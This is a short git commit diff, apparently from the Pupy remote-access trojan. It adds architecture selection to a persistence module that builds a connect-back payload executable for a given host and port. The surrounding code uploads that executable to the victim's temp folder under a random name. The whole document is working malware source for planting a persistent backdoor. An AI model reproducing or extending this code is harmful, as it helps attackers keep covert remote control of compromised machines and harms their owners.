Select arch in PersistenceModule

This commit is contained in:
Alex Karanin 2015-09-28 15:03:52 +03:00
parent a6a5ffeb62
commit 48eb75eedf
1 changed files with 4 additions and 1 deletions

View File

@ -27,7 +27,10 @@ class PersistenceModule(PupyModule):
self.info("generating exe ...")
#generating exe
exebuff=pupygen.get_edit_pupyx86_exe(host, port)
if self.client.desc['proc_arch']=="64bit":
exebuff=pupygen.get_edit_pupyx64_exe(host, port)
else:
exebuff=pupygen.get_edit_pupyx86_exe(host, port)
remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
self.info("uploading to %s ..."%remote_path)